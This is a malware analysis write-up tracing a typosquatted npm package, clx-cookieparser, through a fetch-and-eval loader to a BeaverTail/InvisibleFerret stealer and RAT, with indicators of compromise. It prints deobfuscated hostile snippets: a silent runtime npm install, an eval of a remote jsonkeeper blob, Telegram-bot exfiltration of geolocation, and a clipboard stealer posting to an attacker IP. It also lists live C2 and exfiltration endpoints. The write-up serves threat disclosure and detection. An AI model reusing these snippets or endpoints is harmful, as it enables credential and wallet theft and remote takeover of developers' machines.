The package you install is the genuine express cookie-parser, working middleware and passing tests included; the theft lives one swapped dependency away, in the attacker's twin clx-cookie-signature. That twin fetches a jsonkeeper.com blob and evals it, and the chain unrolls into BeaverTail dropping InvisibleFerret — the DPRK Contagious Interview kit, per dprk-research.kmsec.uk, exfiltrating through the same code and endpoint as web-dotenv did a week earlier.
Package metadata
| Field | Value |
|---|---|
| Name | clx-cookieparser |
| Version | 1.4.7 |
| Publisher | blockvanguard <contact@vynlence.com> |
| Author | TJ Holowaychuk <tj@vision-media.ca> |
| Repository | expressjs/cookie-parser |
| Dependency | clx-cookie-signature |
The version walk
The early versions are bait: 1.4.4 and 1.4.5 ship the real cookie-parser byte-identical, with the repository shorthand creeping closer to upstream each release. By 1.4.7 the repo string matches exactly and the payload is switched on.
| Version | index.js |
repository field |
Signing dependency | Verdict |
|---|---|---|---|---|
| 1.4.4 | clean (cc0cdf98…) |
expressjs/clx-cookieparser |
cookie-signature (real) |
benign bait |
| 1.4.5 | clean (cc0cdf98…, identical) |
expressjs/cookieparser |
cookie-signature (real) |
benign bait |
| 1.4.7 | weaponized (1cbaf18…) |
expressjs/cookie-parser |
clx-cookie-signature (twin) |
live payload |
Stage 1 — clx-cookieparser: the dependency swap
The weaponized 1.4.7 drops the real signing dependency and reaches for the attacker's twin, installing it on the spot if absent and exiting with a fake error if that fails. The parser below still works, so the developer sees green tests while the malice sits one require() away.
const { execSync } = require('child_process');
var signature;
try {
signature = require('clx-cookie-signature')
} catch (err) {
try {
execSync(`npm install clx-cookie-signature --no-warnings --no-save --no-progress --loglevel silent`, { windowsHide: true });
signature = require('clx-cookie-signature')
} catch (error) {
console.log(str); // "Error: This environment is not supported…"
process.exit(1);
}
}
| Trait | What it caught | |
|---|---|---|
objectives/supply-chain/impersonation/npm-clone::clx-cookieparser-cookie-parser-clone |
A package named clx-cookieparser carrying expressjs/cookie-parser as its repository |
|
objectives/supply-chain/install-hook/scripts/dynamic-install::clx-cookieparser-runtime-stage-install |
execSync npm install of the twin at require-time, windowsHide: true |
|
objectives/supply-chain/impersonation/npm-clone::cookie-parser-upstream-repo |
Repository shorthand points at expressjs/cookie-parser |
Stage 2 — clx-cookie-signature: the courier
The twin is a faithful clone too, with one line bolted to the top: fetch a jsonkeeper.com blob and hand it straight to eval. A second jsonkeeper link sits beside it, hex-encoded and never called — a spare key under the mat for when the first one dies.
require('axios').get('https://www.jsonkeeper.com/b/MYUKZ').then(r => { eval(r.data.content_o); });
// dormant backup, hex-encoded, never invoked:
// https://www.jsonkeeper.com/b/HY6M6
| Trait | What it caught | |
|---|---|---|
objectives/command-and-control/dropper/delivery/fetch-eval::axios-jsonkeeper-content-eval-loader |
eval(r.data.content_o) on a jsonkeeper.com response |
|
objectives/supply-chain/impersonation/npm-clone::clx-cookie-signature-upstream-clone |
Clones the cookie-signature identity (TJ Holowaychuk, visionmedia repo) |
|
objectives/anti-static/obfuscation/encoding/hex::hex-pair-regex-decode |
/../g + fromCharCode decode behind the dormant HY6M6 link |
|
objectives/command-and-control/infrastructure/paste::jsonkeeper |
cleave classifies jsonkeeper.com as paste-hosted delivery infrastructure |
Stage 3 — the jsonkeeper loader
The bin holds two fields; the malware skips the Server running decoy and evals three chained functions. The first is the BeaverTail loader — install HTTP libs, beacon C2 with a campaign id, write 0001.dat, run it; the second geolocates the victim through ipinfo.io and DMs it to a Telegram bot; the third quietly exits if the hostname sits in a researcher/VM blocklist.
content_n → console.log('Server running') // decoy
content_o → function c2() { /* obfuscator.io loader, eval'd */ }
Deobfuscated, the c3 profiler is the bluntest part of the chain.
// Stage 3 c3(), deobfuscated — geolocate the victim, DM it to a Telegram bot
const g = await (await fetch('https://ipinfo.io/json?token=8e5005610fd390')).json();
await fetch('https://api.telegram.org/bot8201485511:AAF_…/sendMessage', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ chat_id: '8080359867',
text: `Project is running...\n\nVisitor Info:\n IP: ${g.ip}, ${g.country}, ${g.city} ${g.longitude}` })
});
| Trait | What it caught | |
|---|---|---|
objectives/command-and-control/dropper/execution/network-stage::obfuscated-node-hidden-stage-scaffold |
Obfuscated Node loader: profile → install HTTP libs → beacon → write 0001.dat → run |
|
objectives/anti-static/obfuscation/tools/js-obfuscator::obfuscated-eval-npm-trojan |
Full obfuscator.io toolkit wrapped around an eval | |
micro-behaviors/process/create/spawn::windowshide-obfuscated-expression |
windowsHide set through a computed expression |
Stage 4 — 0001.dat: the InvisibleFerret kit
0001.dat is the orchestrator: re-obfuscated on every pull, it writes two modules to disk and spawns two more inline, and cleave tags two of them as Lazarus on the exfil endpoint alone.
| Module | Role | Sink |
|---|---|---|
scdata.js |
Socket.IO RAT — remote shell, node-pty terminal, mouse/keyboard, desktop control |
216.126.225.83 (socket) |
ldata.js |
Browser + wallet stealer — Login Data, macOS keychain, 12+ wallet extensions |
bundled upload |
captured_spawn_11.js |
Recursive file grabber — .aws/.ssh/.claude dirs, *.env*/*secret phrase*/*metamask* |
http://216.126.224.220:5976/upload |
captured_spawn_12.js |
Clipboard watcher — pbpaste / PowerShell Get-Clipboard |
http://216.126.225.83/npm-compiler.log |
Deobfuscated, the clipboard watcher is the same routine web-dotenv ran.
// Stage 4 captured_spawn_12.js, deobfuscated — clipboard watcher
const clip = process.platform === 'darwin'
? execSync('pbpaste', { encoding: 'utf8' }).trim()
: execSync('powershell -NoProfile -NonInteractive Get-Clipboard', { encoding: 'utf8', windowsHide: true }).trim();
await axios.post('http://216.126.225.83/npm-compiler.log',
{ message: clip, host: os.hostname(), uid: 'acd4ab…', t: '101' });
| Trait | What it caught | |
|---|---|---|
objectives/command-and-control/remote-command/control::node-socketio-remote-control-rat |
scdata.js: node-pty, mouseClick, keyTap, terminal I/O over Socket.IO |
|
objectives/exfiltration/stealer/credential/browser::js-browser-wallet-upload-exfil |
ldata.js: MetaMask/Phantom/Coinbase extension IDs + Login Data |
|
objectives/exfiltration/stealer/file::js-targeted-file-upload-exfil |
captured_spawn_11.js: scanDir over dev/config dirs → multipart upload |
|
objectives/exfiltration/stealer/credential/clipboard::js-clipboard-exfil-external-ip |
captured_spawn_12.js: pbpaste / Get-Clipboard → literal IPv4 |
|
well-known/malware/dropper/lazarus::makelog-url |
scdata.js + captured_spawn_12.js: GlassWorm/Lazarus /api/service/makelog endpoint |
|
objectives/credential-access/wallet/lazarus::wallet-extension-path |
ldata.js: /Local Extension Settings/ wallet path (Lazarus) |
|
objectives/anti-analysis/vm-detect/vendor::comprehensive-evasion |
scdata.js checks for virtualbox and other hypervisors |
|
objectives/evasion/masquerade/process/title::process-title-npm-masquerade |
ldata.js sets process.title to an npm-like name |
Same operator as web-dotenv
This is the same kit as web-dotenv: the file grabber ships to its exact endpoint http://216.126.224.220:5976/upload, the clipboard watcher posts to the same /npm-compiler.log, and the target allow-list, obfuscator, userkey header, and jsonkeeper staging all match. A BeaverTail loader pulling an InvisibleFerret stealer through a fake npm dependency is the Contagious Interview playbook CrowdStrike pins on FAMOUS CHOLLIMA, and cleave reaches the verdict unprompted: the exfil endpoint trips its Lazarus makelog-url rule and the stealer trips a Lazarus wallet-path rule.
Indicators
| Type | Value |
|---|---|
1.4.7 index.js SHA-256 |
1cbaf1823f0b004173454333a22b770fa1c36825b02b81bb258223c3fb6fc7b8 |
1.4.4 / 1.4.5 index.js SHA-256 |
cc0cdf989e892a9f282f17b7511133916ed90e9cb3fbb49db60fe44ce3aece56 |
1.4.7 tarball SHA-256 |
aa0717bcd8e84d37588654679f1b79b21ee81fd0b65aaf1ab4324f7e5ea13973 |
| Companion index.js SHA-256 | 9eb97dcae23527bc66606235e0ad5d2c89692d311120dec3a636acf479e53047 |
| Companion tarball SHA-256 | 5f22aac4634708cd73c3e2fc3e1ff94e2c4d48b0be8368351a2c707a8fd84819 |
| Stage-2 loader | https://www.jsonkeeper.com/b/MYUKZ |
| Stage-2 backup (dormant) | https://www.jsonkeeper.com/b/HY6M6 |
| Stage-3 geolocation source | https://ipinfo.io/json?token=8e5005610fd390 |
| Stage-3 Telegram exfil | https://api.telegram.org/bot8201485511:AAF_K37O2EByZaAMns3K3AFfqUH-cVYQJ74/sendMessage (chat_id 8080359867) |
| Stage-3 sandbox blocklist | Home PC, suraj, imran, Rishabh Verma, vboxuser, Shah faisal, Developer, Programador |
| Stage-3/4 C2 | http://216.126.225.83/api/service/acd4ab512f1e10ba62a6f23b7038b725 |
| Stage-4 loader | $TMPDIR/0001.dat (re-obfuscated per fetch; snapshots b0eb15b8…, 3231629620…) |
scdata.js (Socket.IO RAT) SHA-256 |
126d0ed4e6c29d54625884bedcd164af2c38bc887a198d03ad1cf0fd8fe9b761 |
ldata.js (browser/wallet stealer) SHA-256 |
38b4d90b63e49abd76fb8974379c9c75af032ab259cc138d1a88baf3c27dfaa3 |
captured_spawn_11.js (file grabber) SHA-256 |
0de58bc71e6a7f7e0fd1a174a1413765a727e460edd79386a0c0359b6b0498b0 |
captured_spawn_12.js (clipboard) SHA-256 |
98485250e2ed047b5f893fcdaa2a779614972063a4c3587b9046256b0ddb8b45 |
| File exfil | http://216.126.224.220:5976/upload (multipart) |
| Clipboard exfil | http://216.126.225.83/npm-compiler.log |
| RAT C2 | 216.126.225.83 (Socket.IO), /api/service/makelog |
| Hosting | 216.126.224.0/22 (Tier.Net) |